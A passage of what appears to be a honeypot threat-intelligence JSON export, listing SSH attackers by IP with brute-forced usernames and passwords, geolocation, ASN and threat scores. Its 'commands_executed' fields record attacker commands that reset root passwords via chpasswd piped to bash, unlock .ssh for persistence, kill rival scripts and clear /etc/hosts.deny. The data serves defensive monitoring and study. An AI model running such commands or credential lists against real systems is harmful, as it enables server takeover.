      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T17:47:52.849000+00:00",
        "last_seen_30d": "2026-03-06T18:28:55.762000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 35
      }
    },
    "209.74.71.46": {
      "attack_count": 186,
      "first_seen": "2026-03-04T15:46:02.011Z",
      "last_seen": "2026-03-04T16:10:36.520Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234!@#$",
        "India@1234",
        "Welcome123!",
        "a123000",
        "a138318123",
        "a1a2a3a4a",
        "asdASD123",
        "l",
        "nicolas",
        "softlayer"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:RiwW29I8JrGA\"|chpasswd|bash",
        "echo \"root:V56oBCUKPciw\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22612,
      "as_org": "Namecheap, Inc.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T15:46:02.011000+00:00",
        "last_seen_30d": "2026-03-04T16:11:44.830000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 32
      }
    },
    "51.15.148.186": {
      "attack_count": 163,
      "first_seen": "2026-03-26T08:06:07.869Z",
      "last_seen": "2026-03-26T08:16:34.743Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "edward",
        "mehedi",
        "cody",
        "mahdi",
        "sav"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "Edward123",
        "Mehedi123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Edward123\\nUb7aA2EGluru\\nUb7aA2EGluru\\n\"|passwd",
        "echo \"Mehedi123!\\nmKvViQh9sTaM\\nmKvViQh9sTaM\\n\"|passwd",
        "echo -e \"Edward123\\nUb7aA2EGluru\\nUb7aA2EGluru\"|passwd|bash",
        "echo -e \"Mehedi123!\\nmKvViQh9sTaM\\nmKvViQh9sTaM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T08:06:07.869000+00:00",
        "last_seen_30d": "2026-03-26T08:17:40.321000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 20
      }
    },
    "163.7.4.33": {
      "attack_count": 144,
      "first_seen": "2026-03-18T17:52:16.683Z",
      "last_seen": "2026-03-18T18:25:41.539Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "fmaster",
        "345gs5662d34",
        "albert123",
        "backupuser",
        "control",
        "eva",
        "frontend",
        "julien",
        "min",
        "patrick",
        "root",
        "server1",
        "sga",
        "sudev",
        "test",
        "vncuser"
      ],
      "passwords_attempted": [
        "12345",
        "111",
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "ASDasd123",
        "Frontend",
        "Server1123!",
        "Vncuser123",
        "albert123pass",
        "backupuserpassword",
        "evaeva",
        "fmaster",
        "julien@123456",
        "loldongs"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"fmaster\\nxf5GyMLq7uKa\\nxf5GyMLq7uKa\\n\"|passwd",
        "echo -e \"fmaster\\nxf5GyMLq7uKa\\nxf5GyMLq7uKa\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T17:52:16.683000+00:00",
        "last_seen_30d": "2026-03-18T18:26:42.990000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "185.239.87.249": {
      "attack_count": 143,
      "first_seen": "2026-03-07T02:43:01.043Z",
      "last_seen": "2026-03-07T03:02:24.174Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "backupuser",
        "netflow",
        "nutanix",
        "xwiki"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "345gs5662d34",
        "Nutanix123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nV3QdMA8fbRSM\\nV3QdMA8fbRSM\\n\"|passwd",
        "echo \"Nutanix123\\nnSKGknGX7cT1\\nnSKGknGX7cT1\\n\"|passwd",
        "echo -e \"123\\nV3QdMA8fbRSM\\nV3QdMA8fbRSM\"|passwd|bash",
        "echo -e \"Nutanix123\\nnSKGknGX7cT1\\nnSKGknGX7cT1\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T02:43:01.043000+00:00",
        "last_seen_30d": "2026-03-07T03:03:31.937000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 14
      }
    },
    "189.90.36.203": {
      "attack_count": 135,
      "first_seen": "2026-03-22T00:39:49.202Z",
      "last_seen": "2026-03-22T01:17:02.417Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "we",
        "345gs5662d34",
        "andrew",
        "charlie",
        "gold",
        "init",
        "mmx",
        "pixel",
        "pp",
        "root",
        "sandra",
        "tg",
        "unix",
        "website"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "A1s2d3f4g5",
        "gold@123",
        "init@123",
        "mmxpassword",
        "password",
        "pixelpixel",
        "tgpassword",
        "wewe"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"wewe\\n3owMf1rmI4ix\\n3owMf1rmI4ix\\n\"|passwd",
        "echo -e \"wewe\\n3owMf1rmI4ix\\n3owMf1rmI4ix\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Imperatriz",
      "asn": 28191,
      "as_org": "Jupiter Telecomunicacoes e Informatica Ltda",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T00:39:49.202000+00:00",
        "last_seen_30d": "2026-03-22T01:18:03.072000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 135,
        "Suricata": 38
      }
    },
    "12.156.67.18": {
      "attack_count": 129,
      "first_seen": "2026-03-02T20:44:34.267Z",
      "last_seen": "2026-03-02T21:11:10.228Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin1",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1233218613f",
        "!Q2w3e4r5t6y",
        "1q2w3e4r5t@",
        "3245gs5662d34",
        "345gs5662d34",
        "852456",
        "Aa123654",
        "P@ssword1",
        "Qq123!@#",
        "Root@2025",
        "a2t456movie",
        "a821109a",
        "aaa7758258"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1233218613f\\nz2M6EXzp3Olt\\nz2M6EXzp3Olt\\n\"|passwd",
        "echo -e \"1233218613f\\nz2M6EXzp3Olt\\nz2M6EXzp3Olt\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Oakland",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:44:34.267000+00:00",
        "last_seen_30d": "2026-03-02T21:12:15.279000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 33
      }
    },
    "185.196.8.6": {
      "attack_count": 119,
      "first_seen": "2026-03-21T00:47:29.956Z",
      "last_seen": "2026-03-21T01:04:36.472Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "adv",
        "root",
        "345gs5662d34",
        "adrian",
        "demon",
        "lyt",
        "pwserver",
        "rachel",
        "thomas",
        "xx"
      ],
      "passwords_attempted": [
        "1234",
        "!@#QWE123qwe",
        "12345678",
        "1234qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "Rachel123!",
        "Thomas123!",
        "Xx123",
        "demon123!",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\naNNfVPAkTHkO\\naNNfVPAkTHkO\\n\"|passwd",
        "echo -e \"password\\naNNfVPAkTHkO\\naNNfVPAkTHkO\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T00:47:29.956000+00:00",
        "last_seen_30d": "2026-03-21T01:05:36.786000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 27
      }
    },
    "167.99.34.149": {
      "attack_count": 105,
      "first_seen": "2026-03-14T01:01:27.709Z",
      "last_seen": "2026-03-14T01:20:01.722Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "backup"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "password",
        "P@ssw0rd123",
        "abc123",
        "admin123",
        "letmein",
        "password1",
        "root123",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T01:01:27.709000+00:00",
        "last_seen_30d": "2026-03-14T01:21:07.465000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 105,
        "Suricata": 45
      }
    },
    "122.177.245.143": {
      "attack_count": 104,
      "first_seen": "2026-03-06T08:24:04.877Z",
      "last_seen": "2026-03-06T08:49:54.457Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "xml",
        "345gs5662d34",
        "d",
        "efs",
        "ljd",
        "scraper"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "Efs123",
        "Ye123456",
        "scraper1234",
        "xml1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"xml1234\\nutJmjUeFwL3H\\nutJmjUeFwL3H\\n\"|passwd",
        "echo -e \"xml1234\\nutJmjUeFwL3H\\nutJmjUeFwL3H\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T08:24:04.877000+00:00",
        "last_seen_30d": "2026-03-06T08:51:01.194000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 22
      }
    },
    "165.22.209.239": {
      "attack_count": 90,
      "first_seen": "2026-03-12T12:24:37.022Z",
      "last_seen": "2026-03-12T12:39:54.419Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234",
        "root12345"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T12:24:37.022000+00:00",
        "last_seen_30d": "2026-03-12T12:41:02.795000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 38
      }
    },
    "201.243.239.175": {
      "attack_count": 85,
      "first_seen": "2026-03-06T17:44:21.868Z",
      "last_seen": "2026-03-06T18:01:13.174Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "Test",
        "deployuser",
        "root"
      ],
      "passwords_attempted": [
        "Asd123456.",
        "admin",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:6SkCKTc47pEP\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T17:44:21.868000+00:00",
        "last_seen_30d": "2026-03-06T18:07:26.825000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 85,
        "Suricata": 23
      }
    },
    "134.199.201.45": {
      "attack_count": 74,
      "first_seen": "2026-03-02T06:28:39.254Z",
      "last_seen": "2026-03-02T06:43:31.093Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "admin",
        "docker",
        "password",
        "qwerty",
        "raspberry",
        "root",
        "toor",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Douglasville",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:28:39.254000+00:00",
        "last_seen_30d": "2026-03-02T06:53:40.674000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 34
      }
    },
    "139.135.42.26": {
      "attack_count": 50,
      "first_seen": "2026-03-23T16:15:08.523Z",
      "last_seen": "2026-03-23T16:20:32.899Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T16:15:08.523000+00:00",
        "last_seen_30d": "2026-03-23T16:21:38.705000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.1.106.225": {
      "attack_count": 50,
      "first_seen": "2026-03-04T17:58:19.365Z",
      "last_seen": "2026-03-04T18:03:43.614Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T17:58:19.365000+00:00",
        "last_seen_30d": "2026-03-04T18:04:45.027000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "115.58.81.141": {
      "attack_count": 38,
      "first_seen": "2026-03-05T22:19:32.348Z",
      "last_seen": "2026-03-05T22:23:38.890Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
